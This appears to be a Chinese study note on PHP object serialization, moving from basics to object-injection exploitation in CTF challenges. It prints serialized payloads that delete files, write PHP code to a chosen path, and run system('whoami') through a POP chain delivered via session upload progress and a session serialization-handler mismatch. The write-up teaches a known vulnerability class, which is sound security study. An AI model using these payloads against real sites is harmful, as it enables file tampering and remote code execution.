前段时间学习了php对象序列化,总结了一些遇到的和看到的利用方法,在这之前我对序列化完全John Snow,所以这篇笔记写得很细很基础。
0x00 序列化函数 serialize() :返回带有变量类型和值的字符串unserialize() :想要将已序列化的字符串变回 PHP 的值
测试代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class test {
var $a;
var $b;
function __construct ($a,$b,$c) {
$a = $a;
$this ->b = $b;
}
}
class test1 extends test {
function __construct ($a) {
$this ->a = $a;
}
}
$a = 'hello' ;
$b = 123 ;
$c = false ;
$d = new test('helloa' ,'hellob' ,'helloc' );
$e = new test1('hello' );
var_dump(serialize($a));
var_dump(serialize($b));
var_dump(serialize($c));
var_dump(serialize($d));
var_dump(serialize($e));
?>
运行结果:
1
2
3
4
5
string 's:5:"hello";' (length=12 )
string 'i:123;' (length=6 )
string 'b:0;' (length=4 )
string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46 )
string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46 )
序列化字符串格式:变量类型:变量长度:变量内容 。 如果序列化的是一个对象,序列化字符串格式为:变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
将上述结果反序列化输出,执行结果:1
2
3
4
5
6
7
8
9
string 'hello' (length=5 )
int 123
boolean false
object(test)[1 ]
public 'a' => null
public 'b' => string 'hellob' (length=6 )
object(test1)[1 ]
public 'a' => string 'hello' (length=5 )
public 'b' => null
0x01 对象序列化 当序列化对象时,PHP 将在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 wakeup()成员函数。
在serialize()函数执行时,会先检查类中是否定义了sleep()函数,如果存在,则首先调用 sleep()函数,如果不存在,就保留序列字符串中的所有属性。
在unserialize()函数执行时,会先检查是否定义了wakeup()函数。如果 wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。
serialize()测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class test {
var $a;
var $b;
function __construct ($a,$b,$c) {
$this ->a = $a;
$this ->b = $b;
}
function __sleep () {
echo "b has changed" ."\n" ;
$this ->b = 'hib' ;
return $this ->b;
}
function __wakeup () {
echo "a has changed" ."\n" ;
$this ->a = 'hia' ;
}
}
class test1 extends test {
function __construct ($a) {
$this ->a = $a;
}
}
$d = new test('helloa' ,'hellob' ,'helloc' );
$e = new test1('hello' );
serialize($d);
serialize($e);
var_dump($d);
var_dump($e);
?>
执行结果:1
2
3
4
5
6
7
b has changed b has changed
object(test)[1 ]
public 'a' => string 'helloa' (length=6 )
public 'b' => string 'hib' (length=3 )
object(test1)[2 ]
public 'a' => string 'hello' (length=5 )
public 'b' => string 'hib' (length=3 )
unserialize()测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class test {
var $a;
var $b;
function __construct ($a,$b,$c) {
$this ->a = $a;
$this ->b = $b;
}
function __sleep () {
echo "b has changed" ."\n" ;
$this ->b = 'hib' ;
return $this ->b;
}
function __wakeup () {
echo "a has changed" ."\n" ;
$this ->a = 'hia' ;
}
}
class test1 extends test {
function __construct ($a) {
$this ->a = $a;
}
}
$d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;
$e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;
var_dump(unserialize($d));
var_dump(unserialize($e));
运行结果:1
2
3
4
5
6
7
8
a has changed
object(test)[1 ]
public 'a' => string 'hia' (length=3 )
public 'b' => string 'hellob' (length=6 )
a has changed
object(test1)[1 ]
public 'a' => string 'hia' (length=3 )
public 'b' => null
0x02 PHP序列化的利用 1、magic函数和序列化 参考 :php对象注入 除了sleep()和 wakeup()函数,在序列化时会执行外,还有下面几种利用方式。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Class File
{
function __construct ($var,$file1,$file2) {
$this ->var = $var;
$this ->file1 = $file1;
$this ->file2 = $file2;
echo $this ->var.' and ' .$this ->file1.' and ' .$this ->file2.'defined' ;
}
function __destruct () {
unlink(dirname(__FILE__ ) . '/' . $this ->file1);
echo $this ->file1.'deleted' ;
}
function __toString () {
return file_get_contents($this ->file2);
}
}
echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}' );
(construct()函数,在实例化一个对象时被调用,一般用来给属性赋值, destruct()在实例化对象完成后执行,__toString()函数在echo一个对象时被调用)
construct()函数内定义了三个变量,var这个没什么暖用,file1和file2,我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php, destruct()中有一个unlink方法,是删除file1,__toString()中,读取file2的内容。
执行结果:
查看源码:1
<?php echo 123 ; ?> 123. txtdeleted
将字符串反序列化后,由于已经对变量赋过值,那么就不会再执行construct()函数,在 construct()中赋值的变量也是无效的。上述代码中destruct()方法在在反序列化后,实例化对象结束后执行了, tostring()函数在echo unserialize()处,也被执行了 如果说在当前页面中有request系列函数,那么就可以造成php对象注入:http://drops.wooyun.org/papers/4820
2、三个白帽挑战赛第三期 是一道源码审计题,题目大致是sql注入结合序列化写入文件 部分源码也是在某个大神博客 看到的(由于我没有做过题,所以我只截取了和序列化漏洞相关的部分源码):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Cache extends \ArrayObject
{
public $path;
function __construct ($path)
{
parent ::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);
$this ->path = $path;
if (file_exists($path)){
$this ->cache = unserialize(file_get_contents($this ->path));
}
function offset () {
}
}
function __destruct ()
{
$cache = $this ->serialize();
file_put_contents($this ->path, $cache);
}
}
又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:1
2
include ('cache.php' );
$cache = new Cache('path.txt' );
这题好像是这样的: 通过SQL注入,可控一个文件,假设可控的是path.txt这个文件(在实际的题目中,SQL注入权限不够,web目录下不可写文件,但其他目录可写,已知目录下有文件md5(username).txt,文件名知道,内容可控),这段代码的意思是,判断该文件存在后,读取文件内容,并且反序列化内容,结束时再经过序列化存进文件中。所以可以在可控文件中构造序列化字符串,改变当前的path属性为我们想要的目录。
path.txt:1
C:5 :"Cache" :103 :{x:i:3 ;a:0 :{};m:a:2 :{s:4 :"path" ;s:25 :"F:\wamp\www\test\path.php" ;s:5 :"cache" ;s:18 :"<?php echo 123; ?>" ;}}
上述字符串是通过输出serialize(一个实例化的Cache对象)构造的,当__construct()执行时,就会将上述字符串反序列化,此时已经实例化了一个cache对象,而它的path值变成了我们定义的”F:\wamp\www\test\path.php”,并且多了一个cache属性,值为<?php echo 123; ?>
,这里的属性名cache是可以随意取的,但如果源码中:1
$cache = $this ->serialize();
变成了:1
$cache = serialize($this ->cache);
那么path.txt中的"cache";s:18:"<?php echo 123; ?>"
;属性名就必须和源码serialize($this->cache)当中的属性名相同。
所以,现在服务器上其实有两个对象,一个是$cache = new Cache('path.txt');
定义的$cache,它的path属性值为path.txt;另一个对象是C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}
被反序列化后的对象,它的path属性的值为path.php。 两个对象实例化结束后,会调用其__destruct()方法,将对象自身序列化,写入path属性定义的路径中。这样就将包含<?php echo 123; ?>
的内容写进了path.php中。
3、安恒ctf web3 一道源码审计题,解题思路是session上传进度,和session序列化处理器漏洞相结合。
session上传进度: 参考 :upload-progress 当 session.upload_progress.enabled INI
选项开启时,在一个上传处理中,在表单中添加一个与INI中设置的session.upload_progress.name
同名变量时,$_SESSION中就会添加一个保存上传信息的session值,它的session名是 INI 中定义的session.upload_progress.prefix
加表单中的post的session.upload_progress.name
测试代码:1
2
3
4
5
6
7
8
9
10
<form action="" method="POST" enctype="multipart/form-data" >
<input type="hidden" name="<?php echo ini_get(" session.upload_progress.name"); ?>" value="123" />
<input type="file" name="123123" />
<input type="submit" />
</form>
<?php
session_start();
var_dump($_SESSION);
?>
运行结果: (要查看到上传session,INI貌似要设置这个session.upload_progress.cleanup = Off)
session序列化处理器: 参考 :session序列化 当session.auto_start = 0时: 两个脚本注册 Session 会话时使用的序列化处理器(session.serialize_handler)不同,就会出现安全问题。 经过测试发现在1.php页面注册session.serialize_handler=‘php_serialize’; 在2.php中注册session.serialize_handler=‘php’; 那么在1.php中伪造一个格式为:竖线加上对象序列化后的字符串 如:|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
那么会按照 php 处理器的反序列化格式读取数据,成功地实例化了该对象。 反之,如果是从php->php_serialize,是不可行的。 当session.auto_start = 1时: 只能注入 PHP 的内置类
web3 源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class.php:
<?php
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo $this->varr;
}
echo "这是foo1的析构函数";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "这是foo2的析构函数";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "这是foo3的析构函数";
}
}
?>
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('session.serialize_handler' , 'php' );
require ("./sessionTest.php" );
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php" ;
?>
想办法让程序执行foo3的excute()函数,就要通过foo2的toString(),要执行foo2的 toString()就要通过echo foo2,刚好foo1的__deatruct()有段这样的代码echo $this->varr;
所以这样构造:1
2
3
4
5
6
7
8
9
10
11
include ('class.php' );
$t1 = new foo1;
$t2 = new foo2;
$t3 = new foo3;
$t3->varr = "system('whoami');" ;
$t2->obj = $t3;
$t1->varr = $t2;
$s1 = serialize($t1);
var_dump($s1);
构造出这样一串:O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}
所以构造一个表单,向class.php上传文件,通过session上传进度保存的session,来触发session序列化漏洞,由于INI中设置的序列化处理器为php_serialize,而index.php中将其设置为php,就使得伪造的session被成功地实例化了。 有两类不同的插法~ 1、将序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS session名变成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload会替换整个session值
结果:
2、将序列化字符串插入post内容中 因为session会存上传文件的内容和文件名,所以也可以将序列化字符串插入name、filename.文件上传原本的session值一直到name前面一个参数为止,变成了session名,name参数|后面的payload变成了session值
结果:
参考链接:php对象注入 upload-progress session序列化